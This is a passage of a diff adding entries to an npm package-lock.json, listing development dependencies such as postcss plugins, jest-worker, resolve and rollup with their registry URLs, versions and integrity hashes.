"integrity": "sha512-OV7JjAgOTfAFJmHZLvpSTb4qi0nIILDV1gWPYDnDJUTNFM5aGlRAhk4QcT8i7TuAleeEV5Fdkqn3t4mS+Q11fg==", + "dev": true, + "requires": { + "builtin-modules": "^3.0.0" + } + }, + "is-core-module": { + "version": "2.9.0", + "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.9.0.tgz", + "integrity": "sha512-+5FPy5PnwmO3lvfMb0AsoPaBG+5KHUI0wYFXOtYPnVVVspTFUuMZNfNaNVRt3FZadstu2c8x23vykRW/NBoU6A==", + "dev": true, + "requires": { + "has": "^1.0.3" + } + }, + "is-extglob": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", + "integrity": "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==", + "dev": true + }, + "is-fullwidth-code-point": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", + "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", + "dev": true + }, + "is-glob": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz", + "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==", + "dev": true, + "requires": { + "is-extglob": "^2.1.1" + } + }, + "is-module": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-module/-/is-module-1.0.0.tgz", + "integrity": "sha512-51ypPSPCoTEIN9dy5Oy+h4pShgJmPCygKfyRCISBI+JoWT/2oJvK8QPxmwv7b/p239jXrm9M1mlQbyKJ5A152g==", + "dev": true + }, + "is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "dev": true + }, + "is-reference": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/is-reference/-/is-reference-1.2.1.tgz", + "integrity": "sha512-U82MsXXiFIrjCK4otLT+o2NA2Cd2g5MLoOVXUZjIOhLurrRxpEXzI8O0KZHr3IjLvlAH1kTPYSuqer5T9ZVBKQ==", + "dev": true, + "requires": { + "@types/estree": "*" + } + }, + "jest-worker": { + "version": "26.6.2", + "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-26.6.2.tgz", + "integrity": "sha512-KWYVV1c4i+jbMpaBC+U++4Va0cp8OisU185o73T1vo99hqi7w8tSJfUXYswwqqrjzwxa6KpRK54WhPvwf5w6PQ==", + "dev": true, + "requires": { + "@types/node": "*", + "merge-stream": "^2.0.0", + "supports-color": "^7.0.0" + }, + "dependencies": { + "has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "requires": { + "has-flag": "^4.0.0" + } + } + } + }, + "js-tokens": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz", + "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==", + "dev": true + }, + "jsonfile": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-6.1.0.tgz", + "integrity": "sha512-5dgndWOriYSm5cnYaJNhalLNDKOqFwyDB/rr1E9ZsGciGvKPs8R2xYGCacuf3z6K1YKDz182fd+fY3cn3pMqXQ==", + "dev": true, + "requires": { + "graceful-fs": "^4.1.6", + "universalify": "^2.0.0" + } + }, + "lilconfig": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/lilconfig/-/lilconfig-2.0.5.tgz", + "integrity": "sha512-xaYmXZtTHPAw5m+xLN8ab9C+3a8YmV3asNSPOATITbtwrfbwaLJj8h66H1WMIpALCkqsIzK3h7oQ+PdX+LQ9Eg==", + "dev": true + }, + "lodash.memoize": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/lodash.memoize/-/lodash.memoize-4.1.2.tgz", + "integrity": "sha512-t7j+NzmgnQzTAYXcsHYLgimltOV1MXHtlOWf6GjL9Kj8GK5FInw5JotxvbOs+IvV1/Dzo04/fCGfLVs7aXb4Ag==", + "dev": true + }, + "lodash.uniq": { + "version": "4.5.0", + "resolved": "https://registry.npmjs.org/lodash.uniq/-/lodash.uniq-4.5.0.tgz", + "integrity": "sha512-xfBaXQd9ryd9dlSDvnvI0lvxfLJlYAZzXomUYzLKtUeOQvOP5piqAWuGtrhWeqaXK9hhoM/iyJc5AV+XfsX3HQ==", + "dev": true + }, + "magic-string": { + "version": "0.25.9", + "resolved": "https://registry.npmjs.org/magic-string/-/magic-string-0.25.9.tgz", + "integrity": "sha512-RmF0AsMzgt25qzqqLc1+MbHmhdx0ojF2Fvs4XnOqz2ZOBXzzkEwc/dJQZCYHAn7v1jbVOjAZfK8msRn4BxO4VQ==", + "dev": true, + "requires": { + "sourcemap-codec": "^1.4.8" + } + }, + "mdn-data": { + "version": "2.0.14", + "resolved": "https://registry.npmjs.org/mdn-data/-/mdn-data-2.0.14.tgz", + "integrity": "sha512-dn6wd0uw5GsdswPFfsgMp5NSB0/aDe6fK94YJV/AJDYXL6HVLWBsxeq7js7Ad+mU2K9LAlwpk6kN2D5mwCPVow==", + "dev": true + }, + "merge-stream": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/merge-stream/-/merge-stream-2.0.0.tgz", + "integrity": "sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==", + "dev": true + }, + "merge2": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz", + "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==", + "dev": true + }, + "micromatch": { + "version": "4.0.5", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.5.tgz", + "integrity": "sha512-DMy+ERcEW2q8Z2Po+WNXuw3c5YaUSFjAO5GsJqfEl7UjvtIuFKO6ZrKvcItdy98dwFI2N1tg3zNIdKaQT+aNdA==", + "dev": true, + "requires": { + "braces": "^3.0.2", + "picomatch": "^2.3.1" + } + }, + "minimatch": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", + "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", + "dev": true, + "requires": { + "brace-expansion": "^1.1.7" + } + }, + "nanoid": { + "version": "3.3.4", + "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.4.tgz", + "integrity": "sha512-MqBkQh/OHTS2egovRtLk45wEyNXwF+cokD+1YPf9u5VfJiRdAiRwB2froX5Co9Rh20xs4siNPm8naNotSD6RBw==", + "dev": true + }, + "node-releases": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.5.tgz", + "integrity": "sha512-U9h1NLROZTq9uE1SNffn6WuPDg8icmi3ns4rEl/oTfIle4iLjTliCzgTsbaIFMq/Xn078/lfY/BL0GWZ+psK4Q==", + "dev": true + }, + "normalize-path": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz", + "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==", + "dev": true + }, + "normalize-url": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/normalize-url/-/normalize-url-6.1.0.tgz", + "integrity": "sha512-DlL+XwOy3NxAQ8xuC0okPgK46iuVNAK01YN7RueYBqqFeGsBjV9XmCAzAdgt+667bCl5kPh9EqKKDwnaPG1I7A==", + "dev": true + }, + "nth-check": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/nth-check/-/nth-check-2.1.1.tgz", + "integrity": "sha512-lqjrjmaOoAnWfMmBPL+XNnynZh2+swxiX3WUE0s4yEHI6m+AwrK2UZOimIRl3X/4QctVqS8AiZjFqyOGrMXb/w==", + "dev": true, + "requires": { + "boolbase": "^1.0.0" + } + }, + "once": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", + "integrity": "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==", + "dev": true, + "requires": { + "wrappy": "1" + } + }, + "path-is-absolute": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz", + "integrity": "sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==", + "dev": true + }, + "path-parse": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz", + "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==", + "dev": true + }, + "path-type": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/path-type/-/path-type-4.0.0.tgz", + "integrity": "sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==", + "dev": true + }, + "picocolors": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.0.0.tgz", + "integrity": "sha512-1fygroTLlHu66zi26VoTDv8yRgm0Fccecssto+MhsZ0D/DGW2sm8E8AjW7NU5VVTRt5GxbeZ5qBuJr+HyLYkjQ==", + "dev": true + }, + "picomatch": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz", + "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==", + "dev": true + }, + "pify": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz", + "integrity": "sha512-udgsAY+fTnvv7kI7aaxbqwWNb0AHiB0qBO89PZKPkoTmGOgdbrHDKD+0B2X4uTfJ/FT1R09r9gTsjUjNJotuog==", + "dev": true + }, + "postcss": { + "version": "8.4.14", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.4.14.tgz", + "integrity": "sha512-E398TUmfAYFPBSdzgeieK2Y1+1cpdxJx8yXbK/m57nRhKSmk1GB2tO4lbLBtlkfPQTDKfe4Xqv1ASWPpayPEig==", + "dev": true, + "requires": { + "nanoid": "^3.3.4", + "picocolors": "^1.0.0", + "source-map-js": "^1.0.2" + } + }, + "postcss-calc": { + "version": "8.2.4", + "resolved": "https://registry.npmjs.org/postcss-calc/-/postcss-calc-8.2.4.tgz", + "integrity": "sha512-SmWMSJmB8MRnnULldx0lQIyhSNvuDl9HfrZkaqqE/WHAhToYsAvDq+yAsA/kIyINDszOp3Rh0GFoNuH5Ypsm3Q==", + "dev": true, + "requires": { + "postcss-selector-parser": "^6.0.9", + "postcss-value-parser": "^4.2.0" + } + }, + "postcss-cli": { + "version": "9.1.0", + "resolved": "https://registry.npmjs.org/postcss-cli/-/postcss-cli-9.1.0.tgz", + "integrity": "sha512-zvDN2ADbWfza42sAnj+O2uUWyL0eRL1V+6giM2vi4SqTR3gTYy8XzcpfwccayF2szcUif0HMmXiEaDv9iEhcpw==", + "dev": true, + "requires": { + "chokidar": "^3.3.0", + "dependency-graph": "^0.11.0", + "fs-extra": "^10.0.0", + "get-stdin": "^9.0.0", + "globby": "^12.0.0", + "picocolors": "^1.0.0", + "postcss-load-config": "^3.0.0", + "postcss-reporter": "^7.0.0", + "pretty-hrtime": "^1.0.3", + "read-cache": "^1.0.0", + "slash": "^4.0.0", + "yargs": "^17.0.0" + } + }, + "postcss-colormin": { + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/postcss-colormin/-/postcss-colormin-5.3.0.tgz", + "integrity": "sha512-WdDO4gOFG2Z8n4P8TWBpshnL3JpmNmJwdnfP2gbk2qBA8PWwOYcmjmI/t3CmMeL72a7Hkd+x/Mg9O2/0rD54Pg==", + "dev": true, + "requires": { + "browserslist": "^4.16.6", + "caniuse-api": "^3.0.0", + "colord": "^2.9.1", + "postcss-value-parser": "^4.2.0" + } + }, + "postcss-convert-values": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/postcss-convert-values/-/postcss-convert-values-5.1.2.tgz", + "integrity": "sha512-c6Hzc4GAv95B7suy4udszX9Zy4ETyMCgFPUDtWjdFTKH1SE9eFY/jEpHSwTH1QPuwxHpWslhckUQWbNRM4ho5g==", + "dev": true, + "requires": { + "browserslist": "^4.20.3", + "postcss-value-parser": "^4.2.0" + } + }, + "postcss-discard-comments": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/postcss-discard-comments/-/postcss-discard-comments-5.1.2.tgz", + "integrity": "sha512-+L8208OVbHVF2UQf1iDmRcbdjJkuBF6IS29yBDSiWUIzpYaAhtNl6JYnYm12FnkeCwQqF5LeklOu6rAqgfBZqQ==", + "dev": true, + "requires": {} + }, + "postcss-discard-duplicates": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/postcss-discard-duplicates/-/postcss-discard-duplicates-5.1.0.tgz", + "integrity": "sha512-zmX3IoSI2aoenxHV6C7plngHWWhUOV3sP1T8y2ifzxzbtnuhk1EdPwm0S1bIUNaJ2eNbWeGLEwzw8huPD67aQw==", + "dev": true, + "requires": {} + }, + "postcss-discard-empty": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/postcss-discard-empty/-/postcss-discard-empty-5.1.1.tgz", + "integrity": "sha512-zPz4WljiSuLWsI0ir4Mcnr4qQQ5e1Ukc3i7UfE2XcrwKK2LIPIqE5jxMRxO6GbI3cv//ztXDsXwEWT3BHOGh3A==", + "dev": true, + "requires": {} + }, + "postcss-discard-overridden": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/postcss-discard-overridden/-/postcss-discard-overridden-5.1.0.tgz", + "integrity": "sha512-21nOL7RqWR1kasIVdKs8HNqQJhFxLsyRfAnUDm4Fe4t4mCWL9OJiHvlHPjcd8zc5Myu89b/7wZDnOSjFgeWRtw==", + "dev": true, + "requires": {} + }, + "postcss-import": { + "version": "14.1.0", + "resolved": "https://registry.npmjs.org/postcss-import/-/postcss-import-14.1.0.tgz", + "integrity": "sha512-flwI+Vgm4SElObFVPpTIT7SU7R3qk2L7PyduMcokiaVKuWv9d/U+Gm/QAd8NDLuykTWTkcrjOeD2Pp1rMeBTGw==", + "dev": true, + "requires": { + "postcss-value-parser": "^4.0.0", + "read-cache": "^1.0.0", + "resolve": "^1.1.7" + } + }, + "postcss-load-config": { + "version": "3.1.4", + "resolved": "https://registry.npmjs.org/postcss-load-config/-/postcss-load-config-3.1.4.tgz", + "integrity": "sha512-6DiM4E7v4coTE4uzA8U//WhtPwyhiim3eyjEMFCnUpzbrkK9wJHgKDT2mR+HbtSrd/NubVaYTOpSpjUl8NQeRg==", + "dev": true, + "requires": { + "lilconfig": "^2.0.5", + "yaml": "^1.10.2" + } + }, + "postcss-merge-longhand": { + "version": "5.1.6", + "resolved": "https://registry.npmjs.org/postcss-merge-longhand/-/postcss-merge-longhand-5.1.6.tgz", + "integrity": "sha512-6C/UGF/3T5OE2CEbOuX7iNO63dnvqhGZeUnKkDeifebY0XqkkvrctYSZurpNE902LDf2yKwwPFgotnfSoPhQiw==", + "dev": true, + "requires": { + "postcss-value-parser": "^4.2.0", + "stylehacks": "^5.1.0" + } + }, + "postcss-merge-rules": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/postcss-merge-rules/-/postcss-merge-rules-5.1.2.tgz", + "integrity": "sha512-zKMUlnw+zYCWoPN6yhPjtcEdlJaMUZ0WyVcxTAmw3lkkN/NDMRkOkiuctQEoWAOvH7twaxUUdvBWl0d4+hifRQ==", + "dev": true, + "requires": { + "browserslist": "^4.16.6", + "caniuse-api": "^3.0.0", + "cssnano-utils": "^3.1.0", + "postcss-selector-parser": "^6.0.5" + } + }, + "postcss-minify-font-values": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/postcss-minify-font-values/-/postcss-minify-font-values-5.1.0.tgz", + "integrity": "sha512-el3mYTgx13ZAPPirSVsHqFzl+BBBDrXvbySvPGFnQcTI4iNslrPaFq4muTkLZmKlGk4gyFAYUBMH30+HurREyA==", + "dev": true, + "requires": { + "postcss-value-parser": "^4.2.0" + } + }, + "postcss-minify-gradients": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/postcss-minify-gradients/-/postcss-minify-gradients-5.1.1.tgz", + "integrity": "sha512-VGvXMTpCEo4qHTNSa9A0a3D+dxGFZCYwR6Jokk+/3oB6flu2/PnPXAh2x7x52EkY5xlIHLm+Le8tJxe/7TNhzw==", + "dev": true, + "requires": { + "colord": "^2.9.1", + "cssnano-utils": "^3.1.0", + "postcss-value-parser": "^4.2.0" + } + }, + "postcss-minify-params": { + "version": "5.1.3", + "resolved": "https://registry.npmjs.org/postcss-minify-params/-/postcss-minify-params-5.1.3.tgz", + "integrity": "sha512-bkzpWcjykkqIujNL+EVEPOlLYi/eZ050oImVtHU7b4lFS82jPnsCb44gvC6pxaNt38Els3jWYDHTjHKf0koTgg==", + "dev": true, + "requires": { + "browserslist": "^4.16.6", + "cssnano-utils": "^3.1.0", + "postcss-value-parser": "^4.2.0" + } + }, + "postcss-minify-selectors": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/postcss-minify-selectors/-/postcss-minify-selectors-5.2.1.tgz", + "integrity": "sha512-nPJu7OjZJTsVUmPdm2TcaiohIwxP+v8ha9NehQ2ye9szv4orirRU3SDdtUmKH+10nzn0bAyOXZ0UEr7OpvLehg==", + "dev": true, + "requires": { + "postcss-selector-parser": "^6.0.5" + } + }, + "postcss-normalize-charset": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/postcss-normalize-charset/-/postcss-normalize-charset-5.1.0.tgz", + "integrity": "sha512-mSgUJ+pd/ldRGVx26p2wz9dNZ7ji6Pn8VWBajMXFf8jk7vUoSrZ2lt/wZR7DtlZYKesmZI680qjr2CeFF2fbUg==", + "dev": true, + "requires": {} + }, + "postcss-normalize-display-values": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/postcss-normalize-display-values/-/postcss-normalize-display-values-5.1.0.tgz", + "integrity": "sha512-WP4KIM4o2dazQXWmFaqMmcvsKmhdINFblgSeRgn8BJ6vxaMyaJkwAzpPpuvSIoG/rmX3M+IrRZEz2H0glrQNEA==", + "dev": true, + "requires": { + "postcss-value-parser": "^4.2.0" + } + }, + "postcss-normalize-positions": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/postcss-normalize-positions/-/postcss-normalize-positions-5.1.1.tgz", + "integrity": "sha512-6UpCb0G4eofTCQLFVuI3EVNZzBNPiIKcA1AKVka+31fTVySphr3VUgAIULBhxZkKgwLImhzMR2Bw1ORK+37INg==", + "dev": true, + "requires": { + "postcss-value-parser": "^4.2.0" + } + }, + "postcss-normalize-repeat-style": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/postcss-normalize-repeat-style/-/postcss-normalize-repeat-style-5.1.1.tgz", + "integrity": "sha512-mFpLspGWkQtBcWIRFLmewo8aC3ImN2i/J3v8YCFUwDnPu3Xz4rLohDO26lGjwNsQxB3YF0KKRwspGzE2JEuS0g==", + "dev": true, + "requires": { + "postcss-value-parser": "^4.2.0" + } + }, + "postcss-normalize-string": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/postcss-normalize-string/-/postcss-normalize-string-5.1.0.tgz", + "integrity": "sha512-oYiIJOf4T9T1N4i+abeIc7Vgm/xPCGih4bZz5Nm0/ARVJ7K6xrDlLwvwqOydvyL3RHNf8qZk6vo3aatiw/go3w==", + "dev": true, + "requires": { + "postcss-value-parser": "^4.2.0" + } + }, + "postcss-normalize-timing-functions": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/postcss-normalize-timing-functions/-/postcss-normalize-timing-functions-5.1.0.tgz", + "integrity": "sha512-DOEkzJ4SAXv5xkHl0Wa9cZLF3WCBhF3o1SKVxKQAa+0pYKlueTpCgvkFAHfk+Y64ezX9+nITGrDZeVGgITJXjg==", + "dev": true, + "requires": { + "postcss-value-parser": "^4.2.0" + } + }, + "postcss-normalize-unicode": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/postcss-normalize-unicode/-/postcss-normalize-unicode-5.1.0.tgz", + "integrity": "sha512-J6M3MizAAZ2dOdSjy2caayJLQT8E8K9XjLce8AUQMwOrCvjCHv24aLC/Lps1R1ylOfol5VIDMaM/Lo9NGlk1SQ==", + "dev": true, + "requires": { + "browserslist": "^4.16.6", + "postcss-value-parser": "^4.2.0" + } + }, + "postcss-normalize-url": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/postcss-normalize-url/-/postcss-normalize-url-5.1.0.tgz", + "integrity": "sha512-5upGeDO+PVthOxSmds43ZeMeZfKH+/DKgGRD7TElkkyS46JXAUhMzIKiCa7BabPeIy3AQcTkXwVVN7DbqsiCew==", + "dev": true, + "requires": { + "normalize-url": "^6.0.1", + "postcss-value-parser": "^4.2.0" + } + }, + "postcss-normalize-whitespace": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/postcss-normalize-whitespace/-/postcss-normalize-whitespace-5.1.1.tgz", + "integrity": "sha512-83ZJ4t3NUDETIHTa3uEg6asWjSBYL5EdkVB0sDncx9ERzOKBVJIUeDO9RyA9Zwtig8El1d79HBp0JEi8wvGQnA==", + "dev": true, + "requires": { + "postcss-value-parser": "^4.2.0" + } + }, + "postcss-ordered-values": { + "version": "5.1.3", + "resolved": "https://registry.npmjs.org/postcss-ordered-values/-/postcss-ordered-values-5.1.3.tgz", + "integrity": "sha512-9UO79VUhPwEkzbb3RNpqqghc6lcYej1aveQteWY+4POIwlqkYE21HKWaLDF6lWNuqCobEAyTovVhtI32Rbv2RQ==", + "dev": true, + "requires": { + "cssnano-utils": "^3.1.0", + "postcss-value-parser": "^4.2.0" + } + }, + "postcss-reduce-initial": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/postcss-reduce-initial/-/postcss-reduce-initial-5.1.0.tgz", + "integrity": "sha512-5OgTUviz0aeH6MtBjHfbr57tml13PuedK/Ecg8szzd4XRMbYxH4572JFG067z+FqBIf6Zp/d+0581glkvvWMFw==", + "dev": true, + "requires": { + "browserslist": "^4.16.6", + "caniuse-api": "^3.0.0" + } + }, + "postcss-reduce-transforms": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/postcss-reduce-transforms/-/postcss-reduce-transforms-5.1.0.tgz", + "integrity": "sha512-2fbdbmgir5AvpW9RLtdONx1QoYG2/EtqpNQbFASDlixBbAYuTcJ0dECwlqNqH7VbaUnEnh8SrxOe2sRIn24XyQ==", + "dev": true, + "requires": { + "postcss-value-parser": "^4.2.0" + } + }, + "postcss-reporter": { + "version": "7.0.5", + "resolved": "https://registry.npmjs.org/postcss-reporter/-/postcss-reporter-7.0.5.tgz", + "integrity": "sha512-glWg7VZBilooZGOFPhN9msJ3FQs19Hie7l5a/eE6WglzYqVeH3ong3ShFcp9kDWJT1g2Y/wd59cocf9XxBtkWA==", + "dev": true, + "requires": { + "picocolors": "^1.0.0", + "thenby": "^1.3.4" + } + }, + "postcss-selector-parser": { + "version": "6.0.10", + "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-6.0.10.tgz", + "integrity": "sha512-IQ7TZdoaqbT+LCpShg46jnZVlhWD2w6iQYAcYXfHARZ7X1t/UGhhceQDs5X0cGqKvYlHNOuv7Oa1xmb0oQuA3w==", + "dev": true, + "requires": { + "cssesc": "^3.0.0", + "util-deprecate": "^1.0.2" + } + }, + "postcss-svgo": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/postcss-svgo/-/postcss-svgo-5.1.0.tgz", + "integrity": "sha512-D75KsH1zm5ZrHyxPakAxJWtkyXew5qwS70v56exwvw542d9CRtTo78K0WeFxZB4G7JXKKMbEZtZayTGdIky/eA==", + "dev": true, + "requires": { + "postcss-value-parser": "^4.2.0", + "svgo": "^2.7.0" + } + }, + "postcss-unique-selectors": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/postcss-unique-selectors/-/postcss-unique-selectors-5.1.1.tgz", + "integrity": "sha512-5JiODlELrz8L2HwxfPnhOWZYWDxVHWL83ufOv84NrcgipI7TaeRsatAhK4Tr2/ZiYldpK/wBvw5BD3qfaK96GA==", + "dev": true, + "requires": { + "postcss-selector-parser": "^6.0.5" + } + }, + "postcss-value-parser": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-4.2.0.tgz", + "integrity": "sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ==", + "dev": true + }, + "pretty-hrtime": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/pretty-hrtime/-/pretty-hrtime-1.0.3.tgz", + "integrity": "sha512-66hKPCr+72mlfiSjlEB1+45IjXSqvVAIy6mocupoww4tBFE9R9IhwwUGoI4G++Tc9Aq+2rxOt0RFU6gPcrte0A==", + "dev": true + }, + "queue-microtask": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/queue-microtask/-/queue-microtask-1.2.3.tgz", + "integrity": "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==", + "dev": true + }, + "randombytes": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/randombytes/-/randombytes-2.1.0.tgz", + "integrity": "sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ==", + "dev": true, + "requires": { + "safe-buffer": "^5.1.0" + } + }, + "read-cache": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/read-cache/-/read-cache-1.0.0.tgz", + "integrity": "sha512-Owdv/Ft7IjOgm/i0xvNDZ1LrRANRfew4b2prF3OWMQLxLfu3bS8FVhCsrSCMK4lR56Y9ya+AThoTpDCTxCmpRA==", + "dev": true, + "requires": { + "pify": "^2.3.0" + } + }, + "readdirp": { + "version": "3.6.0", + "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz", + "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==", + "dev": true, + "requires": { + "picomatch": "^2.2.1" + } + }, + "require-directory": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz", + "integrity": "sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==", + "dev": true + }, + "resolve": { + "version": "1.22.1", + "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.1.tgz", + "integrity": "sha512-nBpuuYuY5jFsli/JIs1oldw6fOQCBioohqWZg/2hiaOybXOft4lonv85uDOKXdf8rhyK159cxU5cDcK/NKk8zw==", + "dev": true, + "requires": { + "is-core-module": "^2.9.0", + "path-parse": "^1.0.7", + "supports-preserve-symlinks-flag": "^1.0.0" + } + }, + "reusify": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/reusify/-/reusify-1.0.4.tgz", + "integrity": "sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw==", + "dev": true + }, + "rollup": { + "version": "2.75.7", + "resolved": "https://registry.npmjs.org/rollup/-/rollup-2.75.7.tgz", + "integrity": "sha512-VSE1iy0eaAYNCxEXaleThdFXqZJ42qDBatAwrfnPlENEZ8erQ+0LYX4JXOLPceWfZpV1VtZwZ3dFCuOZiSyFtQ==", + "dev": true, + "requires": 